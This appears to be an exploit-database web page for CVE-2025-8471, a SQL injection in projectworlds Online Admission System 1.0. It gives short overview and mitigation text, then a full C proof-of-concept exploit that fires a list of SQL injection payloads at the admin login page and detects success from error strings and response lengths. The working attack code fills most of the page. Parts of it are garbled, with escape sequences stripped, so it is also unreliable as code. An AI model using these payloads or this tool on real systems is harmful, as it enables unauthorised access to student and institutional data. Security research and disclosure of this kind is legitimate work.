Skip to main content

projectworlds Online Admission System 1.0 – SQL Injection

Categories: WebApps

Overview

The projectworlds Online Admission System 1.0 has been found to contain a critical SQL Injection vulnerability, identified by the CVE ID CVE-2025-8471. This vulnerability allows attackers to manipulate SQL queries by injecting malicious code through user input fields, potentially leading to unauthorized access to sensitive data.

Technical Details

This vulnerability arises from insufficient input validation in the application’s handling of SQL queries. When a user submits data, such as their login credentials, the system fails to properly sanitize the input, allowing an attacker to insert arbitrary SQL code. For example, an attacker might input a string like ‘ OR ‘1’=’1, which could alter the intended query. As a result, the database could return all user records instead of just the authenticated user’s information.

SQL Injection attacks can be executed through various entry points, including login forms, search fields, and URL parameters. The impact can be exacerbated if the database has elevated privileges, allowing attackers to not only read data but also modify or delete it.

Impact

The consequences of exploiting CVE-2025-8471 can be severe, potentially leading to data breaches that expose personal information, academic records, and financial details of users. Such incidents can damage the institution’s reputation and result in legal ramifications, particularly concerning data protection regulations.

Mitigation

To protect against SQL Injection vulnerabilities like CVE-2025-8471, security professionals should implement a multi-layered defense strategy. Firstly, it is essential to use prepared statements and parameterized queries, which separate SQL code from user input, thus preventing injection attacks. Additionally, employing web application firewalls (WAFs) can help detect and block malicious SQL queries before they reach the database.

Regularly updating the software and conducting security audits will also help identify and remediate vulnerabilities promptly. Furthermore, educating developers on secure coding practices is crucial in minimizing the risk of SQL injection in future applications. By prioritizing these measures, organizations can significantly enhance their security posture against SQL injection attacks.

Proof of Concept (PoC)

poc.sh
/*
 * Title           : projectworlds Online Admission System 1.0 - SQL Injection
 * Author       : Byte Reaper
 * CVE          : CVE-2025-8471
 */
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#define FULL 2200
int verbose = 0;
int selCookie = 0;
const char *cookies;
void sleepAssembly(void)
{
    struct timespec s ;
    s.tv_sec = 0;
    s.tv_nsec = 500000000;
    
    __asm__ volatile
    (
        "mov $35, %%raxnt"
        "xor %%rsi, %%rsint"
        "syscallnt"
        :
        : "D" (&s) 
        : "rax",
          "rsi",
          "memory"
       );
}
void syscallLinux()
{
    __asm__ volatile
    (
        "mov $0x3C, %%raxnt"
        "xor %%rdi, %%rdint"
        "syscallnt"
        :
        :
        :"rax", "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, 
    size_t size,
    size_t nmemb,
    void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "e[1;31m[-] Failed to allocate memory!e[0mn");
        syscallLinux();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '';
    return total;
}
int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("e[0;31m[-] Len is Long ! e[0mn");
        printf("e[0;31m[-] Len %de[0mn", len);
        syscallLinux();
        return 1;
    }
    else
    {
        printf("e[0;34m[+] Len Is Not Long.e[0mn");
        return 0;

    }
    return 0;
}
// Content Log File (Payload, url, full, http code response)
int logFile(const char *payload, const char *urlB, long httpCodeResponse,size_t lenResponse)
{
    FILE *file = fopen("result.log", "a");
    if (file == NULL)
    {
        printf("e[0;31m[-] Error Create File (result.log)e[0mn");
        syscallLinux();
        return 1;
    }
    printf("e[0;36m[+] Create Log File Successfully.e[0mn");
    char content[1500];
    int lenG = snprintf(content, sizeof(content), "[+] BASE URL : %sn[+] PAYLOAD Injection : %sn[+] http code Response %ldn[+] Response Len : %zunn", urlB, payload, httpCodeResponse, lenResponse);
    if (checkLen(lenG,content , sizeof(content)) == 1)
    {
        printf("e[0;31m[-] Len Content is Long !e[0mn");
        syscallLinux();
        return 1;
    }
    size_t fw = fwrite(content, 1, strlen(content), file);

    if (fw != strlen(content))
    {
        printf("e[0;31m[-] Error Write Content in Log file !e[0mn");
        syscallLinux();
    }
    printf("e[0;36m[+] Write Log file Content Successfully.e[0mn");
    fclose(file);
    if (verbose)
    {
        printf("e[0;33m[+] Close Log File...e[0mn");
    }
    return 0;
}
// Simple Two Stage Injection Payload
const char *twoStageInjection[] = 
{
    "INSERT INTO stages (id,code) VALUES (3, 'UNION SELECT NULL --');",
    "SELECT SLEEP(2);",
    "SELECT code FROM stages WHERE id = 3;",
    NULL
};
const char *deepInjection_Payload[] = 
{
    "'/**/OR/**/1=1--",
    "'/**/OR/**/'a'='a'--",
    "'/**/OR/**/1=1/**/AND/**/1=1--",
    "'/**/OR/**/1=1/**/AND/**/'1'='1'--",
    ""/**/OR/**/1=1--",
    ""/**/OR/**/1=1/**/AND/**/'a'='a'--",
    "'/**/UNION/**/SELECT/**/NULL,NULL--",
    "'/**/AND/**/1=1--",
    "'/**/AND/**/1=2--",
    "'/**/AND/**/'1'='1'--",
    "'/**/AND/**/'1'='2'--",
    "'/**/AND/**/EXISTS(SELECT/**/1)--",
    "'/**/OR/**/EXISTS(SELECT/**/1)--",
    "'/**/OR/**/1=1#",
    "'/**/OR/**/1=1/*",
    "'/**/AND/**/1=1/*",
    "'/**/AND/**/1=2/*",
    "'/**/OR/**/1=2/*",
    "'/**/AND/**/SUBSTRING(@@version,1,1)='5'--",
    "'/**/AND/**/SUBSTRING(@@version,1,1)='8'--",
    "'/**/OR/**/LOWER(database())/**/LIKE/**/'%test%'--",
    "'/**/OR/**/1=1/**/ORDER/**/BY/**/1--",
    NULL
};

const char *wordSql[] = 
{
    "syntax error",
    "you have an error in your sql syntax",
    "warning",
    "mysql_fetch",
    "mysql_num_rows",
    "unclosed quotation mark",
    "quoted string not properly terminated",
    "sql syntax error",
    "unexpected end of sql command",
    "syntax error near",
    "database error",
    "query failed",
    "error in your query",
    "unknown column",
    "cannot execute query",
    "invalid query",
    "mysql error",
    "odbc sql",
    "sqlstate",
    "ora-",
    "sql error",
    "error occurred",
    "mysql_fetch_array",
    "native client",
    "syntax error in string in query expression",
    "Microsoft OLE DB Provider for SQL Server",
    "error message",
    "warning: mysql",
    "You have an error in your SQL syntax",
    NULL
};
const char **allTechniques[] = 
{
    twoStageInjection,
    deepInjection_Payload,
    NULL
};

size_t  payloadInject(const char *urlP)
{
    CURL *curl = curl_easy_init();
    CURLcode res;
    struct Mem response;
    response.buffer = NULL;
    response.len = 0;
    if (curl == NULL || !curl)
    {
        printf("e[0;31m[-]  Error Create Object CURL !e[0mn");
        syscallLinux();
    }
    if 
    (curl)
    {
        char full[FULL];
        for (int t = 0; allTechniques[t] != NULL; t++)
        {
            const char **payloads = allTechniques[t];
            printf("e[0;35mn[+] Technique %d:e[0mn", t);
           
            for (int f = 0; payloads[f] != NULL; f++) 
            {
                const char *pl = payloads[f];
                char *encode  = curl_easy_escape(curl,
                payloads[f],
                strlen(payloads[f]));
                if (!encode)
                {
                    printf("e[0;31m[-] Error Encode Payload !e[0mn");
                    syscallLinux();
                }
                printf("e[0;37m[+] Encode Payload : %se[0mn", encode);

                int lenF = snprintf(full, 
                        sizeof(full),
                        "%s/adminlogin.php?a_id=%s",urlP, encode);
                if (checkLen(lenF, full,sizeof(full)) == 1)
                {
                    printf("e[0;31m[-] Len full URL is Long !e[0m");
                    syscallLinux();
                }
                printf("e[0;37m[+] Full URL : %se[0mn", full);
                curl_easy_setopt(curl,
                    CURLOPT_URL,
                    full);
                if (selCookie)
                {
                curl_easy_setopt(curl,
                                    CURLOPT_COOKIEFILE,
                                    cookies);
                curl_easy_setopt(curl,
                                    CURLOPT_COOKIEJAR,
                                    cookies);

                }
                curl_easy_setopt(curl,
                                CURLOPT_ACCEPT_ENCODING,
                                "");
                curl_easy_setopt(curl,
                                CURLOPT_FOLLOWLOCATION,
                                1L);
                curl_easy_setopt(curl,
                                CURLOPT_WRITEFUNCTION,
                                write_cb);
                curl_easy_setopt(curl,
                                CURLOPT_WRITEDATA,
                                &response);
                curl_easy_setopt(curl,
                                CURLOPT_CONNECTTIMEOUT,
                                5L);
                sleepAssembly();
                curl_easy_setopt(curl,
                                CURLOPT_TIMEOUT,
                                10L);
                curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYPEER,
                                0L);
                curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
                if (verbose)
                {
                    printf("e[1;35m------------------------------------------[Verbose Curl]------------------------------------------e[0mn");
                    curl_easy_setopt(curl,
                                    CURLOPT_VERBOSE,
                                    1L);
                }
                struct curl_slist *h = NULL;
                h = curl_slist_append(h,
                                    "Accept: text/html");
                h = curl_slist_append(h,
                                    "Accept-Encoding: gzip, deflate, br");
                h = curl_slist_append(h,
                                    "Accept-Language: en-US,en;q=0.5");
                h = curl_slist_append(h,
                                    "Connection: keep-alive");
                h = curl_slist_append(h,
                                    "Referer: http://example.com");
                curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
                res = curl_easy_perform(curl);
                curl_slist_free_all(h);
                curl_free(encode);
                if (res == CURLE_OK)
                {
                    long httpCode = 0;
                    logFile(payloads[f], urlP, httpCode, response.len);
                    char *u = NULL;
                    curl_easy_getinfo(curl, 
                        CURLINFO_REDIRECT_URL, 
                        &u);
                    
                    
                    printf("e[0;37m--------------------------------------------------------------------------------------------------------n");
                    printf("e[1;36m[+] Request sent successfullye[0mn");
                    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                        &httpCode);
                    printf("e[1;32m-> Http Code : %lde[0mn",
                        httpCode);
                    printf("e[0;35m[+] Check Redirect : ======================e[0mn");
                    if (u)
                    {
                        printf("e[0;34m[+] Redirect Page Detected .e[0mn");
                    }
                    else 
                    {
                        printf("e[0;31m[-] Redirect Page Not Detected !e[0mn");
                    }
                    printf("e[0;35m==========================================e[0mn");
                    if (httpCode >= 200 && httpCode < 300)
                    {
                        printf("e[0;32m[+] Http Code (200 < 300) : %lde[0mn",
                            httpCode);
                        if (verbose)
                        {
                            if (response.buffer)
                            {
                                printf("e[1;37mn======================================== [Response ] ========================================e[0mn");
                                printf("%sn", response.buffer);
                                printf("e[1;32m[Len] : %zue[0mn", response.len);
                                printf("e[1;37mn=============================================================================================e[0mn");
                            }
                        }
                        for (int j = 0; wordSql[j] != NULL; j++)
                        {
                            
                            if (response.buffer)
                            {
                                if (strstr(response.buffer, wordSql[j]) != NULL)
                                {
                                    printf("e[0;34m[+] Word Found In Response e[0mn");
                                    printf("e[0;34m[+] Word : %se[0mn", wordSql[j]);
                                    printf("e[1;35m==================================== [WORD FOUND RESPONSE] ====================================e[0mn");
                                    printf("%sn", response.buffer);
                                    printf("e[1;32m[+] Response Len : %zue[0mn", response.len);
                                    printf("e[1;35m===============================================================================================e[0mnn");
                                }
                                else 
                                {      
                                    printf("e[0;31m[-] Not Found Word  : %se[0mn", wordSql[j]);
                                }
                            }
                        } 
                        return response.len;     
                    }
                    else 
                    {
                        printf("e[0;31m[-] Negative response code  (%ld)!e[0mn", httpCode);
                    }        
                }
                else
                {
                    printf("e[1;31m[-] The request was not sent !e[0mn");
                    printf("e[1;31m[-] Error : %sn", curl_easy_strerror(res));
                    syscallLinux();

                }
            } 
        }
        curl_easy_cleanup(curl);
        if (response.buffer)
        {
            free(response.buffer);
            response.buffer = NULL;
            response.len = 0;
        }
    }
        
}

size_t simpleRequest(const char *urls)
{
    CURL *curl = curl_easy_init();
    struct Mem responseS ;
    responseS.buffer = NULL;
    responseS.len = 0;
    if (curl == NULL || !curl)
    {
        syscallLinux();
    }
    if (curl)
    {
        char full[FULL];
        CURLcode res;
        int lenS = snprintf(full,
            sizeof(full), 
            "%s/adminlogin.php",
            urls );
        if (checkLen(lenS, full, sizeof(full)) == 1)
        {
            printf("e[0;31m[-] Error Create Full url (Len is Long)e[0mn");
            syscallLinux();
        }
        else
        {
            printf("e[0;34m[+] Full URL created successfully.e[0mn");
        }
        curl_easy_setopt(curl, 
            CURLOPT_URL, 
            full);
        curl_easy_setopt(curl, 
            CURLOPT_FOLLOWLOCATION, 
            1L);
        curl_easy_setopt(curl, 
            CURLOPT_WRITEFUNCTION, 
            write_cb);
        curl_easy_setopt(curl, 
            CURLOPT_WRITEDATA, 
            &responseS);
        curl_easy_setopt(curl, 
            CURLOPT_CONNECTTIMEOUT, 
            5L);
        if (verbose)
        {
            printf("e[1;35m------------------------------------------[VERBOSE CURL]------------------------------------------e[0mn");
            curl_easy_setopt(curl,
                    CURLOPT_VERBOSE,
                            1L);
        }
        struct curl_slist *headers = NULL;
        char host[130];
        char ref[150];
        char ipDomain[400];
        if (sscanf(urls, "%*[^:]://%[^/]", ipDomain) == 1)
        {
            printf("e[0;34m[+] Get Host URL Successfully e[0mn");
            printf("e[0;34m[+] HOST Header Content : %se[0mn", ipDomain);
            headers = curl_slist_append(headers,
                ipDomain);
        }
        else
        {
            printf("e[1;31m[-] Error Get Target Ip In FULL URL !e[0mn");
            printf("e[0;31m[-] Host Header Not modified !e[0mn");
            printf("e[0;31m[-] HOST : NULLe[0mn");
        }
        
        headers = curl_slist_append(headers,
            "Accept: text/html");
        headers = curl_slist_append(headers,
                    "Accept-Encoding: gzip");
        headers = curl_slist_append(headers,
                    "Accept-Language: en-US,en");
        headers = curl_slist_append(headers,
                    "Connection: keep-alive");
        
        int lenR = snprintf(ref,
            sizeof(ref), 
            "Referer: %s", 
            full);
      
        if (checkLen(lenR, ref, sizeof(ref)) == 1)
        {
            printf("e[0;31m[-] HEADER Referer Not modified !n");
            printf("e[0;31m[-] DEFAULT HEADER Referer (http://exemple.com)n");
            headers = curl_slist_append(headers,
                "Referer: http://example.com");

        }
        else 
        {
            printf("e[0;34m[+] Header Referer modified Successfully.e[0mn");
            printf("e[0;34m[+] Header Result (Referer) : %se[0mn", ref);
            headers = curl_slist_append(headers,
                ref);
        }
        
        headers = curl_slist_append(headers, 
            "Cache-Control: no-cache");
        headers = curl_slist_append(headers, 
            "Connection: keep-alive");
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
        res = curl_easy_perform(curl);
        curl_slist_free_all(headers);
        long code = 0;
        if (res == CURLE_OK)
        {
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                &code);
            printf("e[1;36m[+] Request sent successfullye[0mn");
            printf("e[1;32m[+] Http Code : %lde[0mn",
                code);
            if (responseS.buffer)
            {
                if (verbose)
                {
                    printf("e[4;34m========================================= [SIMPLE REQUEST] =========================================e[0mn");
                    printf("%sn", responseS.buffer);
                    printf("e[4;34m====================================================================================================e[0mn");

                }
                printf("e[0;34m[+] Regular order length : %zue[0mn", responseS.len);
                
            }
            else 
            {
                printf("e[0;31m[-] Response is NULL !e[0mn");
            }
            return responseS.len;
            
        }
        else 
        {
            printf("e[1;31m[-] Error Send Request !e[0mn");
            printf("e[1;31m[-] Error : %se[0mn", curl_easy_strerror(res));
        }

    } 
    if (responseS.buffer)
    {
        free(responseS.buffer);
        responseS.buffer = NULL;
        responseS.len = 0;
    }
    curl_easy_cleanup(curl);

}

void value(const char *url)
{
    size_t autoLen = simpleRequest(url);
    printf("e[0;35m[+] Result Len Size (Regular order) : %zue[0mn",autoLen);
    size_t lenInjectResponse = payloadInject(url);
    printf("e[0;37m+-------------------------------------------------------------------------------------+e[0mn");
    printf("e[0;33m[+] Length comparison result (not a definitive criterion for successful injection)n");
    if (autoLen != lenInjectResponse)
    {
        printf("e[0;34m[+] Length not compatible.e[0mn");
        printf("e[0;34m[+] Successfully injected via length measurement technique (%zu =! %zu)n", autoLen,lenInjectResponse);
        
    }
    else 
    {
        printf("e[0;31m[-] No difference in length was detected !e[0mn");
        printf("e[0;31m[-] The length is similar in normal response and injection response (%zu =! %zu)e[0mn", autoLen,lenInjectResponse);
    }
    printf("e[0;37m+-------------------------------------------------------------------------------------+e[0mn");

}
int main(int argc, const char **argv)
{
    printf(
        "e[1;31m"
        "$$$$$$\  $$\    $$\ $$$$$$$$\       $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\          $$$$$$\  $$\   $$\ $$$$$$$$\   $$\   n"
        "$$  __$$\ $$ |   $$ |$$  _____|     $$  __$$\ $$$ __$$\ $$  __$$\ $$  ____|        $$  __$$\ $$ |  $$ |\____$$  |$$$$ |        n"
        "$$ /  \__|$$ |   $$ |$$ |           \__/  $$ |$$$$\ $$ |\__/  $$ |$$ |             $$ /  $$ |$$ |  $$ |    $$  / \_$$ |        n"
        "$$ |      \$$\  $$  |$$$$$\ $$$$$$\  $$$$$$  |$$\$$\$$ | $$$$$$  |$$$$$$$\ $$$$$$\  $$$$$$  |$$$$$$$$ |   $$  /    $$ |        n"
        "$$ |       \$$\$$  / $$  __|\______|$$  ____/ $$ \$$$$ |$$  ____/ \_____$$\______|$$  __$$< \_____$$ |  $$  /     $$ |        n"
        "$$ |  $$\   \$$$  /  $$ |           $$ |      $$ |\$$$ |$$ |      $$\   $$ |       $$ /  $$ |      $$ | $$  /      $$ |        n"
        "\$$$$$$  |   \$  /   $$$$$$$$\      $$$$$$$$\ \$$$$$$  /$$$$$$$$\ \$$$$$$  |       \$$$$$$  |      $$ |$$  /     $$$$$$\       n"
        " \______/     \_/    \________|     \________| \______/ \________| \______/         \______/       \_|\__/      \______|      n"
                                                                                                                                "e[1;37m 	tttttttttttt      Byte Reapern"                                                                                                                                
    );
    printf("e[1;31m---------------------------------------------------------------------------------------------------------------------------------------n");
    const char *baseurl = NULL;
    const char *nameFileC = NULL;
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('u',
                   "url",
                   &baseurl,
                   "Enter Target Url (BASE URL)"),
        OPT_STRING('c',
                   "cookies",
                   &nameFileC,
                   "Enter File cookies"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!baseurl)
    {
        printf("e[1;31m[-] Please Enter target Url !e[0mn");
        printf("e[1;31m[-] Example : ./exploit -u http://<TARGET>e[0mn");
        syscallLinux();
    }
    if (nameFileC)
    {
        selCookie = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    value(baseurl);
    return 0;
}

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...